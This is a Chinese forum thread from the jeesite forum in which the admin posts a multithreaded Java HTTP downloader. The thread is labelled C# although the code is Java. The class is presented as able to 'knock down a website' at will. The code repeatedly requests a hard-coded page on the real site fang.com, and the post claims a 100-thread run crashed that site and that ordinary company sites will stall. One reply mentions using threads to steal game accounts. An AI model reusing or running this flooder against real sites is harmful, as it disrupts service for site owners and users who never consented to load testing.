请选择 进入手机版 | 继续访问电脑版
设为首页收藏本站

jeesite

 找回密码
 注册新会员
查看: 3619|回复: 16

[c#] 一个类,堪比压力测试,随随便便就能K掉一个网站

  [复制链接]
admin 发表于 2016-2-18 01:24:18 | 显示全部楼层 |阅读模式
一个类,堪比压力测试,随随便便就能K掉一个网站
详细使用方法:

游客,如果您要查看本帖隐藏内容请回复


这是一个能提供多线程访问下载 网站的程序,亲测,搜房网100个线程1000个任务时,搜房网崩溃。。。

普通公司的网站,基本都会阻塞。。。


详细使用方式:


  1. package com.thinkgem.jeesite.common.persistence;

  2. import java.io.FileOutputStream;
  3. import java.io.InputStream;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.nio.channels.Channels;
  7. import java.nio.channels.FileChannel;
  8. import java.nio.channels.ReadableByteChannel;
  9. import java.util.Calendar;
  10. import java.util.concurrent.Callable;
  11. import java.util.concurrent.ExecutorService;
  12. import java.util.concurrent.Executors;

  13. public class HttpDownloader implements Callable<String> {
  14.         URLConnection connection;
  15.         FileChannel outputChann;
  16.         public static volatile int count = 0;

  17.         public static void main(String[] args) throws Exception {

  18.                 ExecutorService poll = Executors.newFixedThreadPool(2);

  19.                 for (int i = 0; i < 2000; i++) {
  20.                         Calendar now = Calendar.getInstance();
  21.                         String fileName = "d:/data/" + now.get(Calendar.YEAR) + "年"
  22.                                         + (now.get(Calendar.MONTH) + 1) + "月"
  23.                                         + now.get(Calendar.DAY_OF_MONTH) + "日--" + i + ".txt";
  24.                         poll.submit(new HttpDownloader(
  25.                                         "http://m.fang.com/bbs/changchun/1710763523/182859674.htm",
  26.                                         (new FileOutputStream(fileName)).getChannel()));
  27.                 }

  28.                 poll.shutdown();

  29.                 long start = System.currentTimeMillis();
  30.                 while (!poll.isTerminated()) {
  31.                         Thread.sleep(1000);
  32.                         System.out.println("已运行"
  33.                                         + ((System.currentTimeMillis() - start) / 1000) + "秒,"
  34.                                         + HttpDownloader.count + "个任务还在运行");
  35.                 }
  36.         }

  37.         public HttpDownloader(String url, FileChannel fileChannel) throws Exception {
  38.                 synchronized (HttpDownloader.class) {
  39.                         count++;
  40.                 }
  41.                 connection = (new URL(url)).openConnection();
  42.                 this.outputChann = fileChannel;
  43.         }

  44.         @Override
  45.         public String call() throws Exception {
  46.                 connection.connect();
  47.                 InputStream inputStream = connection.getInputStream();
  48.                 ReadableByteChannel rChannel = Channels.newChannel(inputStream);
  49.                 outputChann.transferFrom(rChannel, 0, Integer.MAX_VALUE);
  50.                 // System.out.println(Thread.currentThread().getName() + " completed!");
  51.                 inputStream.close();
  52.                 outputChann.close();
  53.                 synchronized (HttpDownloader.class) {
  54.                         count--;
  55.                 }
  56.                 return null;
  57.         }
  58. }
复制代码





回复

使用道具 举报

来啊互相伤害啊 发表于 2016-12-16 21:52:06 | 显示全部楼层
隐藏啥好东西了,我也有用线程这些去弄过事情,原来是玩手游去盗号的。
回复 支持 反对

使用道具 举报

QQ285134371 发表于 2017-2-19 07:37:16 | 显示全部楼层
一个类,堪比压力测试,随随便便就能K掉一个网站
回复 支持 反对

使用道具 举报

sanmao20050503 发表于 2016-11-10 17:07:30 | 显示全部楼层
发送到范德萨范德萨发送到发达省份
回复 支持 反对

使用道具 举报

 楼主| admin 发表于 2016-2-18 08:44:03 | 显示全部楼层
回复 genericyzh 的帖子

这个。。。没要求回复啊。。。。

就这么一个类,我就测试有木有兄弟,真心的不自己研究下,再看咋用的。。。
回复 支持 反对

使用道具 举报

绿叶 发表于 2016-2-18 10:29:54 | 显示全部楼层
谢谢楼主分享:)
回复 支持 反对

使用道具 举报

vvlong2008 发表于 2016-2-18 11:17:48 | 显示全部楼层
哇,学习了……
回复 支持 反对

使用道具 举报

zhangyao1358 发表于 2016-2-18 16:36:40 | 显示全部楼层
11111111111111111111111111111
回复 支持 反对

使用道具 举报

916340246 发表于 2016-7-28 18:26:05 | 显示全部楼层
看看牛逼不
回复 支持 反对

使用道具 举报

wangxuc 发表于 2016-10-8 12:05:14 | 显示全部楼层
回复一下 查看学习下
回复 支持 反对

使用道具 举报

llw08521 发表于 2016-10-13 11:55:38 | 显示全部楼层
回复才能看,所以我是来回复的
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册新会员

本版积分规则

QQ|手机版|小黑屋|Archiver|jeesite 官方论坛. ( 吉ICP备12004769号  

GMT+8, 2017-3-27 14:38 , Processed in 0.203125 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表